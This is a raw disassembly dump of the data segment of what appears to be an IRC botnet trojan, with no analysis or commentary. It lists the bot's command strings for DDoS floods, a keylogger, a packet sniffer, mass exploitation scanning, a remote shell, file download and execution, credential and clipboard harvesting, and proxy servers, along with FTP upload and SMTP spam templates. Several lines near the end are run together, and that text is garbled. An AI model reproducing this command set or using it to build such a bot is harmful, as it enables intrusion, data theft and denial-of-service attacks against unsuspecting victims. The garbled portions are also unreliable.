dword_4350B0 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: seg000:loc_40F889o
dd 2029206Ch, 2BBBB02h
aUploadingFileS db ' Uploading file: %s to: %s failed.',0
dword_4350F0 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: seg000:0040F882o
dd 2029206Ch, 2BBBB02h
aUploadingFil_0 db ' Uploading file: %s to: %s',0
aFtp_exe db 'ftp.exe',0 ; DATA XREF: seg000:0040F86Bo
aSS_4 db '-s:%s',0 ; DATA XREF: seg000:0040F854o
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: seg000:0040F834o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: seg000:0040F7FFo
align 4
dword_43516C dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: seg000:0040F781o
dd 2029206Ch, 2BBBB02h
aFileNotFoundS_ db ' File not found: %s.',0
align 10h
aFtp_upload db 'ftp.upload',0 ; DATA XREF: seg000:0040F75Eo
align 4
aUtil_hcon db 'util.hcon',0 ; DATA XREF: seg000:0040F73Bo
align 4
aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: seg000:0040F724o
align 4
unk_4351C8 db 3 ; DATA XREF: seg000:0040F6E3o
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 65h, 6Eh
db 7Ah ; z
db 31h, 30h, 62h
db 20h
db 3, 32h, 2Eh
db 2Eh ; .
db 20h, 3, 31h
db 35h ; 5
db 28h, 65h, 6Dh
db 61h ; a
db 69h, 6Ch, 3
db 32h ; 2
db 2Eh, 3, 31h
db 35h ; 5
db 6Dh, 6Fh, 64h
db 29h ; )
db 20h, 3, 32h
db 0BBh ; »
db 3, 31h, 35h
aMessageSentToS db ' Message sent to %s.',0
align 4
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: seg000:0040F66Fo
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
a_: ; DATA XREF: seg000:0040F5D3o
unicode 0, <_>,0
aUtil_email db 'util.email',0 ; DATA XREF: seg000:0040F584o
align 4
aUsa db 'usa',0 ; DATA XREF: seg000:0040F56Do
aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: seg000:0040F556o
align 4
aPg db 'pg',0 ; DATA XREF: seg000:0040F53Fo
align 10h
aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: seg000:0040F528o
align 4
aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: seg000:0040F511o
align 4
aPu db 'pu',0 ; DATA XREF: seg000:0040F4FAo
align 10h
aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: seg000:0040F4E3o
align 4
aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: seg000:0040F4CCo
align 4
aVuln_start db 'vuln.start',0 ; DATA XREF: seg000:0040F49Eo
align 4
aClone_ac db 'clone.ac',0 ; DATA XREF: seg000:0040F475o
align 4
aClone_action db 'clone.action',0 ; DATA XREF: seg000:0040F45Eo
align 4
aClone_pm db 'clone.pm',0 ; DATA XREF: seg000:0040F447o
align 10h
aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: seg000:0040F430o
align 10h
aEnz_ps db 'enz.ps',0 ; DATA XREF: seg000:0040F419o
align 4
aEnz_portscan db 'enz.portscan',0 ; DATA XREF: seg000:0040F402o
align 4
aServer_rd_on db 'server.rd.on',0 ; DATA XREF: seg000:0040F3EBo
align 4
aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: seg000:0040F3D4o
align 4
aD1 db 'd1',0 ; DATA XREF: seg000:0040F3BDo
align 10h
aDonad_frwww db 'donad.frwww',0 ; DATA XREF: seg000:0040F3A6o
aSy1 db 'sy1',0 ; DATA XREF: seg000:0040F38Fo
aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: seg000:0040F378o
align 10h
aDs_rm db 'ds.rm',0 ; DATA XREF: seg000:0040F361o
align 4
aDs_ack db 'ds.ack',0 ; DATA XREF: seg000:0040F34Ao
align 10h
aDs_sy1 db 'ds.sy1',0 ; DATA XREF: seg000:0040F333o
align 4
aClone_start db 'clone.start',0 ; DATA XREF: seg000:0040F31Co
aClone_make db 'clone.make',0 ; DATA XREF: seg000:0040F305o
align 10h
aDdos_ic db 'ddos.ic',0 ; DATA XREF: seg000:0040F2DCo
aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: seg000:0040F2C5o
align 4
aBox_mv db 'box.mv',0 ; DATA XREF: seg000:0040F2AEo
align 4
aBox_rename db 'box.rename',0 ; DATA XREF: seg000:0040F297o
align 4
aBox_ff db 'box.ff',0 ; DATA XREF: seg000:0040F280o
align 10h
aBox_findfile db 'box.findfile',0 ; DATA XREF: seg000:0040F269o
align 10h
aBox_e db 'box.e',0 ; DATA XREF: seg000:0040F252o
align 4
aBox_execute db 'box.execute',0 ; DATA XREF: seg000:0040F23Bo
aDownload_010 db 'download.010',0 ; DATA XREF: seg000:0040F224o
align 4
aDownload_up010 db 'download.up010',0 ; DATA XREF: seg000:0040F20Do
align 4
aEnz_de db 'enz.de',0 ; DATA XREF: seg000:0040F1F6o
align 4
aEnz_delay db 'enz.delay',0 ; DATA XREF: seg000:0040F1DFo
align 4
aEnz_rp db 'enz.rp',0 ; DATA XREF: seg000:0040F1C8o
align 10h
aEnz_repeat db 'enz.repeat',0 ; DATA XREF: seg000:0040F1B1o
align 4
aClone_p db 'clone.p',0 ; DATA XREF: seg000:0040F19Ao
aClone_part db 'clone.part',0 ; DATA XREF: seg000:0040F183o
align 10h
aClone_j db 'clone.j',0 ; DATA XREF: seg000:0040F16Co
aClone_join db 'clone.join',0 ; DATA XREF: seg000:0040F155o
align 4
aClone_ni db 'clone.ni',0 ; DATA XREF: seg000:0040F13Eo
align 10h
aClone_nick db 'clone.nick',0 ; DATA XREF: seg000:0040F127o
align 4
aClone_m db 'clone.m',0 ; DATA XREF: seg000:0040F110o
aClone_mode db 'clone.mode',0 ; DATA XREF: seg000:0040F0F9o
align 10h
aClone_ra db 'clone.ra',0 ; DATA XREF: seg000:0040F0E2o
align 4
aClone_raw db 'clone.raw',0 ; DATA XREF: seg000:0040F0CBo
align 4
aEnz_m db 'enz.m',0 ; DATA XREF: seg000:0040F0B4o
align 10h
aEnz_mode db 'enz.mode',0 ; DATA XREF: seg000:0040F09Do
align 4
aEnz_cy db 'enz.cy',0 ; DATA XREF: seg000:0040F086o
align 4
aEnz_cycle db 'enz.cycle',0 ; DATA XREF: seg000:0040F06Fo
align 10h
aEnz_ac db 'enz.ac',0 ; DATA XREF: seg000:0040F058o
align 4
aEnz_action db 'enz.action',0 ; DATA XREF: seg000:0040F041o
align 4
aEnz_pm db 'enz.pm',0 ; DATA XREF: seg000:0040F02Ao
align 4
aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: seg000:0040F013o
aEnz_aa db 'enz.aa',0 ; DATA XREF: seg000:0040EFFCo
align 10h
aEnz_addalias db 'enz.addalias',0 ; DATA XREF: seg000:0040EFE5o
align 10h
aEnz_gh db 'enz.gh',0 ; DATA XREF: seg000:0040EFBCo
align 4
aEnz_gethost db 'enz.gethost',0 ; DATA XREF: seg000:0040EFA5o
dword_435514 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:loc_40EF57o
dd 2029206Ch, 2BBBB02h
aCommandUnknown db ' Command unknown.',0
align 4
dword_435544 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:loc_40EF50o
dd 2029206Ch, 2BBBB02h
aNoMessageSpeci db ' No message specified.',0
dword_435578 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:loc_40EF08o
dd 2029206Ch, 2BBBB02h
aUserListFailed db ' User list failed.',0
dword_4355A8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:0040EF01o
dd 2029206Ch, 2BBBB02h
aUserListComple db ' User list completed.',0
align 4
aUser db 'user',0 ; DATA XREF: seg000:0040EE74o
align 4
dword_4355E4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:loc_40EE69o
dd 2029206Ch, 2BBBB02h
aShareListFaile db ' Share list failed.',0
align 4
dword_435618 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:0040EE5Fo
dd 2029206Ch, 2BBBB02h
aShareListCompl db ' Share list completed.',0
aShare db 'share',0 ; DATA XREF: seg000:0040EDF7o
align 4
aDelete db 'delete',0 ; DATA XREF: seg000:0040EDDCo
align 4
aPause db 'pause',0 ; DATA XREF: seg000:0040EDA9o
align 4
aStop db 'stop',0 ; DATA XREF: seg000:0040ED91o
align 4
dword_43566C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:loc_40ED86o
dd 2029206Ch, 2BBBB02h
aServiceListFai db ' Service list failed.',0
align 10h
dword_4356A0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:0040ED7Co
dd 2029206Ch, 2BBBB02h
aServiceListCom db ' Service list completed.',0
align 4
dword_4356D8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:0040ECF8o
dd 2029206Ch, 2BBBB02h
aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0
align 4
aBox_net db 'box.net',0 ; DATA XREF: seg000:0040ECD4o
unk_43572C db 2 ; DATA XREF: seg000:0040EC93o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_22 db ' Failed to start logging thread, error: <%d>.',0
align 4
unk_43577C db 2 ; DATA XREF: seg000:0040EC28o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerActiv db ' Key logger active.',0
unk_4357B0 db 2 ; DATA XREF: seg000:0040EBAAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAlreadyRunni_1 db ' Already running.',0
align 4
unk_4357E4 db 2 ; DATA XREF: seg000:loc_40EB86o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNoKeyLoggerThr db ' No key logger thread found.',0
align 4
unk_435824 db 2 ; DATA XREF: seg000:0040EB7Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0
align 4
aBox_keylog db 'box.keylog',0 ; DATA XREF: seg000:0040EB22o
align 10h
unk_435880 db 2 ; DATA XREF: seg000:loc_40EB18o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aNoCarnivoreThr db 'No Carnivore thread found.',0
align 4
unk_4358BC db 2 ; DATA XREF: seg000:0040EB0Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0
align 4
aOff db 'off',0 ; DATA XREF: seg000:0040EAEBo
; seg000:0040EB59o
unk_43590C db 2 ; DATA XREF: seg000:0040EAE0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_23 db 'Failed to start sniffer thread, error: <%d>.',0
align 4
unk_43595C db 2 ; DATA XREF: seg000:0040EA71o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivorePacke db 'Carnivore packet sniffer active.',0
align 10h
unk_4359A0 db 2 ; DATA XREF: seg000:0040EA0Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunni_2 db 'Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: seg000:0040E9EDo
; seg000:0040EB37o
align 4
aSniff db 'sniff',0 ; DATA XREF: seg000:0040E9D8o
align 10h
aBox_rf db 'box.rf',0 ; DATA XREF: seg000:0040E9C1o
align 4
aBox_readfile db 'box.readfile',0 ; DATA XREF: seg000:0040E9AAo
align 4
aBox_cm db 'box.cm',0 ; DATA XREF: seg000:0040E993o
align 10h
aBox_cmd db 'box.cmd',0 ; DATA XREF: seg000:0040E97Co
aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: seg000:0040E94Eo
; seg000:0040E965o
align 4
aEnz_v db 'enz.v',0 ; DATA XREF: seg000:0040E937o
align 4
aEnz_visit db 'enz.visit',0 ; DATA XREF: seg000:0040E920o
align 4
aBox_fl db 'box.fl',0 ; DATA XREF: seg000:0040E909o
align 10h
aBox_filelist db 'box.filelist',0 ; DATA XREF: seg000:0040E8F2o
align 10h
aDcc_gt db 'dcc.gt',0 ; DATA XREF: seg000:0040E8DBo
align 4
aDcc_get db 'dcc.get',0 ; DATA XREF: seg000:0040E8C4o
aBox_del db 'box.del',0 ; DATA XREF: seg000:0040E8ADo
aBox_delete db 'box.delete',0 ; DATA XREF: seg000:0040E896o
align 4
aBox_pkid db 'box.pkid',0 ; DATA XREF: seg000:0040E87Fo
align 10h
aBox_prockillid db 'box.prockillid',0 ; DATA XREF: seg000:0040E868o
align 10h
aBox_kpn db 'box.kpn',0 ; DATA XREF: seg000:0040E851o
aBox_killprocna db 'box.killprocname',0 ; DATA XREF: seg000:0040E83Ao
align 4
aEnz_dn db 'enz.dn',0 ; DATA XREF: seg000:0040E823o
align 4
aEnz_dns db 'enz.dns',0 ; DATA XREF: seg000:0040E80Co
aEnz_se db 'enz.se',0 ; DATA XREF: seg000:0040E7F5o
align 4
aEnz_setserve db 'enz.setserve',0 ; DATA XREF: seg000:0040E7DEo
align 4
aBox_o db 'box.o',0 ; DATA XREF: seg000:0040E7C7o
align 4
aBox_open db 'box.open',0 ; DATA XREF: seg000:0040E7B0o
align 4
aEnz_pr db 'enz.pr',0 ; DATA XREF: seg000:0040E799o
align 10h
aEnz_prefix db 'enz.prefix',0 ; DATA XREF: seg000:0040E782o
align 4
aClone_rn db 'clone.rn',0 ; DATA XREF: seg000:0040E76Bo
align 4
aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: seg000:0040E754o
align 4
aClone_q db 'clone.q',0 ; DATA XREF: seg000:0040E73Do
aClone_quit db 'clone.quit',0 ; DATA XREF: seg000:0040E726o
align 4
aThreads_k db 'threads.k',0 ; DATA XREF: seg000:0040E70Fo
align 4
aThreads_kill db 'threads.kill',0 ; DATA XREF: seg000:0040E6F8o
align 4
aEnz_r db 'enz.r',0 ; DATA XREF: seg000:0040E6E1o
align 10h
aEnz_raw db 'enz.raw',0 ; DATA XREF: seg000:0040E6CAo
aEnz_pt db 'enz.pt',0 ; DATA XREF: seg000:0040E6B3o
align 10h
aEnz_part db 'enz.part',0 ; DATA XREF: seg000:0040E69Co
align 4
aEnz_j db 'enz.j',0 ; DATA XREF: seg000:0040E685o
align 4
aEnz_join db 'enz.join',0 ; DATA XREF: seg000:0040E66Eo
align 10h
aEnz_n db 'enz.n',0 ; DATA XREF: seg000:0040E657o
align 4
aEnz_nick db 'enz.nick',0 ; DATA XREF: seg000:0040E640o
align 4
aVall db 'vall',0 ; DATA XREF: seg000:0040E61Ao
align 4
aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: seg000:0040E605o
align 10h
aServer_tf_on db 'server.tf.on',0 ; DATA XREF: seg000:0040E5F0o
align 10h
aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: seg000:0040E5DBo
align 10h
aServer_web_on db 'server.web.on',0 ; DATA XREF: seg000:0040E5C6o
align 10h
aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: seg000:0040E5B1o
aVuln_cip db 'vuln.cip',0 ; DATA XREF: seg000:0040E59Co
align 4
aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: seg000:0040E587o
align 4
aUtil_fdns db 'util.fdns',0 ; DATA XREF: seg000:0040E572o
align 4
aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: seg000:0040E55Do
align 4
aUtil_farp db 'util.farp',0 ; DATA XREF: seg000:0040E548o
align 4
aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: seg000:0040E533o
align 4
aBox_gc db 'box.gc',0 ; DATA XREF: seg000:0040E51Eo
align 4
aBox_getclip db 'box.getclip',0 ; DATA XREF: seg000:0040E509o
dword_435C48 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040E4F8o
dd 2029206Ch, 2BBBB02h
aLoginListCompl db ' Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: seg000:0040E4C4o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: seg000:0040E4B7o
aLoginList db '-[Login List]-',0 ; DATA XREF: seg000:0040E495o
align 4
aEnz_who db 'enz.who',0 ; DATA XREF: seg000:0040E47Co
aCmd db '[CMD]',0 ; DATA XREF: seg000:0040E471o
align 4
aRemoteShell db 'Remote shell',0 ; DATA XREF: seg000:0040E46Co
align 4
aBox_ocmd_off db 'box.ocmd.off',0 ; DATA XREF: seg000:0040E453o
align 4
aBox_ocmd db 'box.ocmd',0 ; DATA XREF: seg000:0040E43Eo
align 4
aBox_opencmd db 'box.opencmd',0 ; DATA XREF: seg000:0040E429o
aBox_dll db 'box.dll',0 ; DATA XREF: seg000:0040E414o
aBox_testdlls db 'box.testdlls',0 ; DATA XREF: seg000:0040E3FFo
align 4
aBox_drv db 'box.drv',0 ; DATA XREF: seg000:0040E3EAo
aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: seg000:0040E3D5o
align 4
aBox_up db 'box.up',0 ; DATA XREF: seg000:0040E3C0o
align 4
aBox_uptime db 'box.uptime',0 ; DATA XREF: seg000:0040E3ABo
align 4
aBox_key db 'box.key',0 ; DATA XREF: seg000:0040E396o
aBox_harvest db 'box.harvest',0 ; DATA XREF: seg000:0040E381o
aBox_ps db 'box.ps',0 ; DATA XREF: seg000:0040E36Co
align 4
aBox_procs db 'box.procs',0 ; DATA XREF: seg000:0040E357o
align 10h
aEnz_010 db 'enz.010',0 ; DATA XREF: seg000:0040E342o
aEnz_be010ne db 'enz.be010ne',0 ; DATA XREF: seg000:0040E32Do
aBox_si db 'box.si',0 ; DATA XREF: seg000:0040E318o
align 4
aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: seg000:0040E303o
aBox_ni db 'box.ni',0 ; DATA XREF: seg000:0040E2EEo
align 10h
aBox_netinfo db 'box.netinfo',0 ; DATA XREF: seg000:0040E2D9o
aUtil_clg db 'util.clg',0 ; DATA XREF: seg000:0040E2C4o
align 4
aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: seg000:0040E2AFo
align 4
aEnz_lg db 'enz.lg',0 ; DATA XREF: seg000:0040E29Ao
align 10h
aEnz_log db 'enz.log',0 ; DATA XREF: seg000:0040E285o
aEnz_al db 'enz.al',0 ; DATA XREF: seg000:0040E270o
align 10h
aEnz_aliases db 'enz.aliases',0 ; DATA XREF: seg000:0040E25Bo
aThreads_l db 'threads.l',0 ; DATA XREF: seg000:0040E246o
align 4
aThreads_list db 'threads.list',0 ; DATA XREF: seg000:0040E231o
align 4
dword_435DE8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040E1FDo
dd 2029206Ch, 2BBBB02h
aFailedToReboot db ' Failed to reboot system.',0
align 10h
dword_435E20 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040E1F6o
dd 2029206Ch, 2BBBB02h
aRebootingSyste db ' Rebooting system.',0
aBox_rebewt db 'box.rebewt',0 ; DATA XREF: seg000:0040E1DFo
align 4
aEnz_i db 'enz.i',0 ; DATA XREF: seg000:0040E1CAo
align 4
aEnz_id db 'enz.id',0 ; DATA XREF: seg000:0040E1B5o
align 4
aEnz_s db 'enz.s',0 ; DATA XREF: seg000:0040E1A0o
align 4
aEnz_status db 'enz.status',0 ; DATA XREF: seg000:0040E18Bo
align 10h
aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: seg000:0040E176o
align 4
aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: seg000:0040E161o
align 4
aEnz_et3 db 'enz.et3',0 ; DATA XREF: seg000:0040E14Co
aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: seg000:0040E137o
aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: seg000:0040E122o
aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: seg000:0040E10Do
align 4
aVuln_st db 'vuln.st',0 ; DATA XREF: seg000:0040E0F8o
aVuln_stats db 'vuln.stats',0 ; DATA XREF: seg000:0040E0E3o
align 4
aExploitation db 'Exploitation',0 ; DATA XREF: seg000:0040E0D8o
align 4
aScan db 'Scan',0 ; DATA XREF: seg000:0040E0D3o
align 10h
aVuln_stop db 'vuln.stop',0 ; DATA XREF: seg000:0040E0BAo
align 4
dword_435EFC dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0 db 'Secure',0 ; DATA XREF: seg000:0040E0AAo
align 4
aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: seg000:0040E091o
align 4
dword_435F24 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone db 'Clone',0 ; DATA XREF: seg000:0040E081o
align 4
aClone_off db 'clone.off',0 ; DATA XREF: seg000:0040E068o
align 4
aBox_ps_off db 'box.ps.off',0 ; DATA XREF: seg000:0040E053o
align 4
aBox_procs_off db 'box.procs.off',0 ; DATA XREF: seg000:0040E03Eo
align 4
aBox_ff_off db 'box.ff.off',0 ; DATA XREF: seg000:0040E029o
align 10h
aBox_findfile_o db 'box.findfile.off',0 ; DATA XREF: seg000:0040E014o
align 4
dword_435F84 dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: seg000:0040DFEBo
dword_435FA0 dd 69027002h, 1F671F6Eh, 2E2Ehdword_435FAC dd 676E6950h, 6F6C6620h, 646Fhdword_435FB8 dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_435FC8 dd 64027502h, 2E1F701Fh, 2Ehdword_435FD4 dd 20504455h, 6F6F6C66h, 64hdword_435FE0 dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_435FF0 dd 79027302h, 2E1F6E1Fh, 2Ehdword_435FFC dd 206E7953h, 6F6F6C66h, 64hdword_436008 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_436018 dd 64026402h, 1F731F6Fh, 2E2Ehdword_436024 dd 536F4444h, 6F6C6620h, 646Fhdword_436030 dd 736F6464h, 66666F2Eh, 0dword_43603C dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_43604C dd 20504354h, 69646572h, 74636572h, 0aServer_redirec db 'server.redirect.off',0 ; DATA XREF: seg000:0040DF1Eo
dword_436070 dd 6F026C02h, 2E1F671Fh, 2Ehdword_43607C dd 20676F4Ch, 7473696Ch, 0dword_436088 dd 2E676F6Ch, 66666Fhdword_436090 dd 74026802h, 641F7074h, 2E2E1Fhdword_43609C dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_4360AC dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: seg000:0040DEA9o
align 10h
dword_4360D0 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0aServer db 'Server',0 ; DATA XREF: seg000:0040DE82o
; seg000:0040DEC2o ...
align 4
aServer_socks_0 db 'server.socks4.off',0 ; DATA XREF: seg000:0040DE69o
align 4
aServer_s4_on db 'server.s4.on',0 ; DATA XREF: seg000:0040DE54o
align 4
aServer_socks4_ db 'server.socks4.on',0 ; DATA XREF: seg000:0040DE3Fo
align 10h
aLd_off db 'ld.off',0 ; DATA XREF: seg000:0040DE2Ao
align 4
aLockdown_off db 'lockdown.off',0 ; DATA XREF: seg000:0040DE15o
align 4
aLd_on db 'ld.on',0 ; DATA XREF: seg000:0040DE00o
align 10h
aLockdown_on db 'lockdown.on',0 ; DATA XREF: seg000:0040DDEBo
aEnz_ver db 'enz.ver',0 ; DATA XREF: seg000:0040DDD6o
aEnz_version db 'enz.version',0 ; DATA XREF: seg000:0040DDC1o
aEnz_lo db 'enz.lo',0 ; DATA XREF: seg000:0040DDACo
align 4
aEnz_logout db 'enz.logout',0 ; DATA XREF: seg000:0040DD97o
align 4
aEnz_d db 'enz.d',0 ; DATA XREF: seg000:0040DD82o
align 4
aEnz_endsess db 'enz.endsess',0 ; DATA XREF: seg000:0040DD6Do
aEnz_rn db 'enz.rn',0 ; DATA XREF: seg000:0040DD58o
align 10h
aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: seg000:0040DD40o
a63 db '63',0 ; DATA XREF: seg000:0040DC19o
align 10h
asc_4361A0: ; DATA XREF: seg000:0040DBF1o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: seg000:0040DBB4o
align 4
aServer_2 db '$server',0 ; DATA XREF: seg000:0040DBA9o
aRndnick db '$rndnick',0 ; DATA XREF: seg000:0040DB98o
align 10h
aChan db '$chan',0 ; DATA XREF: seg000:0040DB7Co
align 4
aUser_2 db '$user',0 ; DATA XREF: seg000:0040DB6Bo
align 10h
aMe_0 db '$me',0 ; DATA XREF: seg000:0040DB59o
aD_0 db '$%d',0 ; DATA XREF: seg000:0040DAEBo
aD_1 db '$%d-',0 ; DATA XREF: seg000:0040DA30o
align 10h
aHi_0 db 'hi',0 ; DATA XREF: seg000:0040D958o
align 4
aNewshit0 db 'newshit0',0 ; DATA XREF: seg000:0040D940o
align 10h
dword_4361F0 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040D90Eo
dd 2029206Ch, 2BBBB02h
aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0
dword_436234 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040D900o
dd 2029206Ch, 2BBBB02h
aChatAlreadyAct db ' Chat already active with user: %s.',0
align 4
dword_436278 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040D8F2o
dd 2029206Ch, 2BBBB02h
aFailedToSta_24 db ' Failed to start chat thread, error: <%d>.',0
dword_4362C0 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040D883o
dd 2029206Ch, 2BBBB02h
aChatFromUserS_ db ' Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: seg000:0040D7ECo
align 4
